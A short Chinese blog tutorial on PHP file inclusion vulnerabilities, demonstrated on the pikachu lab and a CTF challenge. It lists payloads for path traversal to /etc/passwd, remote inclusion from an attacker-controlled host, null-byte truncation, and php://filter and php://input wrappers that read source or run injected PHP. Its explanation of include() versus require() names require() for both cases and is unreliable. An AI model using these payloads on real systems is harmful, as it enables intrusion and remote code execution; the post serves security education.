Web安全-文件包含

一、了解文件包含

了解文件包含

什么是文件包含:为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。

漏洞成因:文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

PHP引发文件包含的四个函数

include()                       //这里只介绍PHP的
include_once()
require()
require_once()
include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行

文件包含分类

本地包含和远程包含

二、文件包含利用

这里拿pikachu进行演示,能找到CTF题就用它来演示

本地包含

顾名思义,也就是包含本地的文件。

?filename=../../../../../../../../../../etc/passwd
?filename=../../../../../../../../../../flag.txt    //里面写的是phpinfo()

远程包含

是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。 但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置 allow_url_fopen=On allow_url_include=On

?filename=http://192.168.195.1/yzx.txt    //远程包含物理本机的文件,环境在虚拟机

包含基本姿势

1、%00截断

/etc/passwd%00

2、%00截断目录遍历

/etc/passwd/%00

3、路径长度判断

4、点号判断

三、伪协议

先来用先知上的一个师傅的总结

简单介绍几个吧

php://filter

这里用bugku上面的一道题来演示一下

这里读出来的是base64,然后解码

?file=php://filter/read=convert.base64-encode/resource=index.php

 php://input

?file=php://input                      PSOT data  :  <?php phpinfo(); ?>

 就简单举例几个,今天的就到这吧。

posted on 2020-04-21 14:26  一个雨夜  阅读(15)  评论(0)    收藏  举报

导航